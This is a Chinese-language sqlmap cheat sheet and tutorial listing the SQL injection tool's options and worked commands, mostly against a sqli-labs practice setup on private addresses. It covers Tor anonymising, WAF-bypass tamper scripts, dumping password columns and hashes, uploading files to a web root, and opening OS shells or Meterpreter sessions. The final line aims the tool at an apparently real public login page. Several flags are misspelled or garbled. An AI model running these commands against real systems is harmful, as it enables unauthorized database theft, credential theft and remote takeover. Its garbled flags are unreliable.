sqlmap图形化工具安装

sqlmap简介
sqlmap是一款基于python编写的渗透测试工具，在sql检测和利用方面功能强大，支持多种数据库。
sqlmap常用命令
sqlmap -u ''--tech U --batch -D -T -C --dump
--tor -tor-type="SOCKS5" --check-tor洋葱代理
--random-agent随机一个头
--batch默认选择
-time-sec=15延时15秒
--threads 10
-o 优化
--level=5
--risk=3
--forms sqlmap自动抓包获取参数
--dbms=mysql 指定数据库类型
--os-shell
-f 指纹
--sql-query="sql语句"执行一条sql语句
--sql-file=从文件读取sql语句执行
--file-read=  读取文件
--file-write=  将本地文件写到
--file-dest=     这个目标这个目录下
--os-cmd=notepad   允许一个记事本
/root/.local/share/sqlmap/output缓存路径
-p "cookie"  指定检测cookie
--priv-esc提权windows
--skip-waf 
--web-root=网站根目录
--smart智能探测

 

sqlmap命令
-h 显示基本帮助信息
-hh 显示高级帮助信息
--version 显示版本号
-v 详细等级（0-6 默认 1）
0：只显示python错误以及重要信息
1：显示信息以及警告
2：显示debug消息
3：显示注入payload
4：显示http请求
5：显示http响应头·
6：显示http响应内容
–is-dbs:当前用户是否为管理权限
–roles：列出数据库管理员角色
–referer:检测http Referer头（当referer定义为3或者3以上时，也会尝试对regerer注入）
–sql-shell:运行自定义sql语句（可执行sql语句）
–os-cmd,–os-shell:运行任意操作系统命令
–file-read:从数据库服务器中读取文件
–file-write,file-dest:上传文件到服务器中
–identify-waf：用于检测是否存在WAF、IDS、IPS

常用的tamper脚本
1.编码绕过：

apostrophemask.py
作用：将引号替换成UTF-8，用于过滤单引号

base64encode.py
作用：替换为base64编码

charencode.py
作用：对给定的payload全部字符使用url编码

charunicodeencode.py
作用：字符串unicode编码

chardoubleencode.py
作用：对给定的payload全部字符使用双重url编码

2.双写绕过：

nonrecursivereplacement.py
作用：双重查找语句，用双重语句代替预定义的sql关键字
3.大小写绕过

randomcase.py
作用：随机大小写
4.注释绕过

modescurityversioned.py
作用：过滤空格，使用mysql内联注释的方式进行注入
modescurityzeroversioned.py
作用:使用mysql内联注释的方式(/!000/)
halfversionedmorekeywords.py
作用：当数据库为mysql是绕过防火墙，在每个关键字之前添加mysql版本的注释

Target：
-u 指定目标url
-d 直接连接数据库 -d mysql://用户名:密码@ip:端口/库名
-l 从burp代理日志的解析目标
-r 从文件中加载http请求
-g 提供google搜索找到的url作为目标 sqlmap.py -g "inurl:\".php?id=1\"" inurl:php?id=1
-c 从INI配置文件中加载选项 sqlmap -u"" --save=sss.conf 之后再用-c读取sss.config
-m 大(量)文件读取
-x 从xml文件中解析目标(sitemap.xml)
--wizard 提供简单的向导
Request
--method=请求方式
--param-del="&" 指定&为分隔符 python sqlmap -u "url" --method=post --data="id=1&pass=123" --param-del="&"
--user-agent=
--random-agent 随机选用sqlmap目录中的user-agent
-H "X-Forwarded-For:127.0.0.1\nxxxx:ppp" 指定某些头部，\n分割
--tor 洋葱代理 python sqlmap.py --tor -tor-type="SOCKS5" -u “xxxxx” --random-agent -batch -time-sec=15 --threads 10 --check-tor
--check-tor 看看tor能不能用
--tor-type 设置tor端口
--delay=n 间隔几秒请求一次
--csrf-token=
--csrf-url=
--hpp 参数污染
--eval="import hashlib;hash=hashlib.md5(id).hexdigest()"
-o 开启所有优化
-A 指定user-agent头
-H 额外的header
-method= 指定HTTP方法（GET/POST）
--data= 通过POST提交数据
--param-del= 指定参数分隔符
--cookie= 指定cookie的值
--cookie-del= 指定cookie分隔符
--drop-set-cookie 扔掉response中的set-cookie头
--random-agent 使用随机的user-agent头
--host= 设置host头
--referer= 指定referer头
--headers= 额外的headers
--auth-type= http认证类型（Basic，NTLM，Digest）
--auith-cred= http认证凭证（账号：密码）
--ignore-proxy 忽略系统代理（常用于扫描本地文件）
--proxy= 使用代理
--proxy-cred= 代理认证证书（账号：密码）
--delay= 设置延迟时间（两个请求之间）
--timeout= 超时时来连接前等待（默认 30）
--retries= 连接超时时重试次数（默认 3）
--randomize= 随机更改指定的参数的值
--safe-url= 在测试期间经常访问的URL
--safe-post= POST数据发送到安全的URL
--safe-freq= 两次请求之间穿插一个安全的URL
--skip-urlencode 跳过payload数据的URL编码
--chunked 使用HTTP分块传输加密POST请求
--hpp 使用HTTP参数pollution方法（常用于绕过IPS/IDS检测）
--force-ssl 强制使用SSL/HTTPS
--eval=value 请求之前提供Python代码（eg："import hashlib;id2=hashlib.md5(id).hexdigest()"）
Optimization
-o 打开所有优化开关
--predict-output 预测输出（与--threads不兼容）
--keep-alive 建立长久的HTTP(S)连接 (与--proxy不兼容)
--null-connection 空连接
--threads=value 设置线程(默认 1)
Injection：注入
-p 指定测试参数 -p "id,user-agent"
--not-string= 设置返回页面出现这个字符串判断为错误
--string= 设置返回页面出现这个字符串判断为正确
--code=200 当响应码为200，判断为正确
--regexp=指定通过正则表达式匹配字符串，查询为true
--dbms=mysql 指定数据库类型
--skip= 跳过指定参数的测试
--skip-static 跳过测试静态的参数
--dbms= 指定具体DBMS
--os= 指定DBMS操作系统
--invalid-bignum 使用大数字使值无效
--invalid-logical 使用逻辑符使值无效
--invalid-string 使用字符串使值无效
--no-cast 关闭payload铸造机制
--no-escape 关闭字符转义机制（默认自动开启）
--prefix= 加入payload前缀
--suffix= 加入payload后缀
--tamper= 指定使用的脚本
Detectiong
--level= 指定测试的等级（1-5 默认为1）
--risk= 指定测试的风险（0-3 默认为1）
--string= 登录成功时，页面所含有的“关键字” 用于证明已经登录成功
--not-string= 登录成功时，页面所含有的“关键字” 用于证明已经登录失败
--code= 查询为真时，匹配的HTTP代码
--smart 当有大量检测目标时，只选择基于错误的检测结果
--text-only 仅基于文本内容比较网页
--titles 仅基于标题比较网页
Techniques
--dns-domain="dns服务器" dns攻击
--second-order 二次注入攻击
--technique= 指定sql注入技术（默认BEUSTQ）
--time-sec= 基于时间注入检测相应的延迟时间（默认为5秒）
--union-clos= 进行查询时，指定列的范围
--union-char= 指定暴力破解列数的字符
Fingerprint
-f 查询目标DBMS版本指纹信息
-t 记录所有HTTP流量到指定文件中
Emuneration
-a 查询所有
-b 查询目标DBMS banner信息
--current-user 查询目标DBMS当前用户
--current-db 查询目标DBMS当前数据库
--is-dba 查询目标DBMS当前用户是否为DBA
--users 枚举目标DBMS所有的用户
--paswords 枚举目标DBMS用户密码哈希值
--privileges 枚举目标DBMS用户的权限
--roles 枚举DBMS用户的角色
--dbs 枚举DBMS所有的数据库
--tables 枚举DBMS数据库中所有的表
--columns 枚举DBMS数据库表中所有的列
--count 检索表的条目的数量
--dump 存储DBMS数据库的表中的条目
--dump-all 存储DBMS所有数据库表中的条目
--D db 指定进行枚举的数据库名称
--T table 指定进行枚举的数据库表名称
--C column 指定进行枚举的数据库列名称
--exclude-sysdbs 枚举表时排除系统数据库
--sql-query 指定查询的sql语句
--sql-shell 提示输入一个交互式sql shell
Brute force
--common-tables 暴力破解表
--common-colomns 暴力破解列
File system access
--file-read 绝对路径从目标数据库管理文件系统读取文件绝对路径
--file-write 上传文件到目标数据库管理文件系统
--file-dest 指定写入文件的绝对路径
--os-cmd= 执行操作系统命令
--os-shell 交互式的系统shell
--os-pwn 获取一个OOB shell，Meterpreter或者VNC
--os-smbrelay 一键 获取一个OOB shell，Meterpreter或者VNC
--os-bof 储存过程缓冲区溢出利用
--os-esc 数据库进程用户权限提升
--msf-path= Metasploit Framework本地安装路径
General
-s sqlite会话文件保存位置
--charset=v 强制用于数据检索的字符编码
--crawl= 从目标URL开始爬取网站
--crawl-exclude= 禁止爬取某个页面（eg：logout）
--csv-del= 指定CSV输出中使用的的字符
--dump-format= 储存数据的方式（CSV(default)，HTML，SQLITE）
--flush-session 刷新当前目标的会话文件
--fresh-queries 忽略会话文件中储存的查询结果，重新查询
--hex 使用DBMS hex函数进行数据检索
--outpout-dir= 自定义输出目录
--save= 保存选项到INI配置文件中
--scope= 使用正则表达式从提供的日志中guo'l
--alert 再找到SQL注入时运行主机操作系统命令
--purge-output 安全的从输出目录中删除所有内容
--sqlmap-shell 提示输入交互式sqlmap shell
--update 更新sqlmap
--forms sqlmap自动抓包获取参数
--cleanup 清理dbms udf创建的数据表
sqlmap注入技术简介
--purgr-output 清除sqlmap日志
--technique= （默认全部使用）
B 基于布尔的盲注
T 基于时间的盲注
E 基于报错的注入
U 基于UNION查询注入
S 基于多语句查询注入
Q
sqlmap获取目标方式
1.指定目标url
sqlmap -u "http:/192.168.3.2/sqli-labs-master/sqli-labs-master/Less-1/?id=1"
2.从文件中获取多个url
sqlmap -m 1.txt
3.从文件中加载HTTP请求
sqlmap -r url.txt
4.利用google获取目标
sqlmap -g "inurl:\".php?id=1\""
5.从burp日志中获取目标
sqlmap -l burp.t xt
实例演示-sqlmap注入检测
1.GET参数注入
sqlmap -u "http:/192.168.3.2/sqli-labs-master/sqli-labs-master/Less-1/?id=1"
2.POST参数注入
sqlmap -u "http:/192.168.3.2/sqli-labs-master/sqli-labs-master/Less-1" --data="id=1"
3.cookie注入 （level>=2时才会检测cookie）
sqlmap -u "http:/192.168.3.2/sqli-labs-master/sqli-labs-master/Less-1/?id=1" --level 2
如图，用 * 号指定cookie，这样就可以检测cookie。
sqlmap -r"/root/1.txt"
4.user-agent注入
sqlmap -u "http:/192.168.3.2/sqli-labs-master/sqli-labs-master/Less-1/?id=1" --level 3
如图，用 * 号指定user-agent，这样就可以检测user-agent。
sqlmap -r"/root/1.txt"
5.referer注入
sqlmap -u "http:/192.168.3.2/sqli-labs-master/sqli-labs-master/Less-1/?id=1" --level 3
如图，用 * 号指定referer，这样就可以检测referer。
sqlmap -r"/root/1.txt"
6.host注入
sqlmap -u "http:/192.168.3.2/sqli-labs-master/sqli-labs-master/Less-1/?id=1" --level 5
如图，用 * 号指定host，这样就可以检测host。
sqlmap -r"/root/1.txt"
实例演示-获取数据库信息
1.查看数据库
sqlmap -u "http:/192.168.3.2/sqli-labs-master/sqli-labs-master/Less-1/?id=1" --dbs --batch
2.查看数据库里面的表
sqlmap -u "http:/192.168.3.2/sqli-labs-master/sqli-labs-master/Less-1/?id=1" --D security --tables --batch
3.查看数据库表里面的列
sqlmap -u "http:/192.168.3.2/sqli-labs-master/sqli-labs-master/Less-1/?id=1" --D security --T users --columns --batch
4.查看数据库列里面的具体的值
sqlmap -u "http:/192.168.3.2/sqli-labs-master/sqli-labs-master/Less-1/?id=1" --D security --T users -C password --dump --batch
实例演示-暴力破解
使用条件：
1.MySQL数据库版本小于5.0，没有information——schema表。
2.Microssoft Access数据库。
3.当前用户没有权限读取系统中保存的数据。
*暴力破解中破解表名的文件位于common-tables.txt 中，同理破解列名的文件位于common-columns.txt 中
1.暴力破解表名
sqlmap -u "http:/192.168.3.2/sqli-labs-master/sqli-labs-master/Less-1/?id=1" -D security --common-tables --batch
2.暴力破解列名
sqlmap -u "http:/192.168.3.2/sqli-labs-master/sqli-labs-master/Less-1/?id=1" -D security -Tusers --common-columns --batch
实例演示-读取文件/上传文件
1.读取文件
sqlmap -u "http:/192.168.3.2/sqli-labs-master/sqli-labs-master/Less-1/?id=1" --file-read "C:/post.txt"
2写入文件
sqlmap -u "http:/192.168.3.2/sqli-labs-master/sqli-labs-master/Less-1/?id=1" --file-write "/root/1.txt"
--file-dest "C:/phpstudy/PHPTutorial/www/1.txt"
实例演示-获取shell
sqlmap -u "http:/192.168.3.2/sqli-labs-master/sqli-labs-master/Less-1/?id=1" --os-shell


sqlmap用法
sqlmap -u '192.168.255.199/Tkitn/sqli-labs-master/Less-5/index.php?id=1' 　　# 检测注入点是否可用
sqlmap -u '192.168.255.199/Tkitn/sqli-labs-master/Less-5/index.php?id=1' --dbs　　　 #可曝出该mysql中所有数据库名称
sqlmap -u '192.168.255.199/Tkitn/sqli-labs-master/Less-5/index.php?id=1' --current-db　　　#web当前使用的数据库
sqlmap -u '192.168.255.199/Tkitn/sqli-labs-master/Less-5/index.php?id=1' --current-user　　＃web数据库使用账户
sqlmap -u '192.168.255.199/Tkitn/sqli-labs-master/Less-5/index.php?id=1' --users　　　 ＃列出sql所有用户
sqlmap -u '192.168.255.199/Tkitn/sqli-labs-master/Less-5/index.php?id=1' --passwords　　　＃数据库账户与密码
sqlmap -u ‘192.168.255.199/Tkitn/sqli-labs-master/Less-5/index.php?id=1’ --tables　　　＃输出所有的表
sqlmap -u '192.168.255.199/Tkitn/sqli-labs-master/Less-5/index.php?id=1' -D 【数据库名】 --tables　　＃-D 指定数据库名
sqlmap -u '192.168.255.199/Tkitn/sqli-labs-master/Less-5/index.php?id=1' -D 【数据库名】 -T 【表名】 --columns　　＃-T：指定要列出字段的表　　　--columns　列出了所有的列字段
sqlmap -u '192.168.255.199/Tkitn/sqli-labs-master/Less-5/index.php?id=1' -D 【数据库名】 -T 【表名】 -C"username,realname,password" --dump　　　　　 ＃　-C ：指定要暴的字段



sqlmap万能用法
burp抓包保存为1.txt
sqlmap -r "e:\123.txt" --dbs　　　 #可曝出该mysql中所有数据库名称
sqlmap -r "e:\123.txt" --current-db　　　#web当前使用的数据库
root@Kali：~# sqlmap -u http://vip.fj0730.cn/login.asp --data "userid=aaa&passwd=bbbb"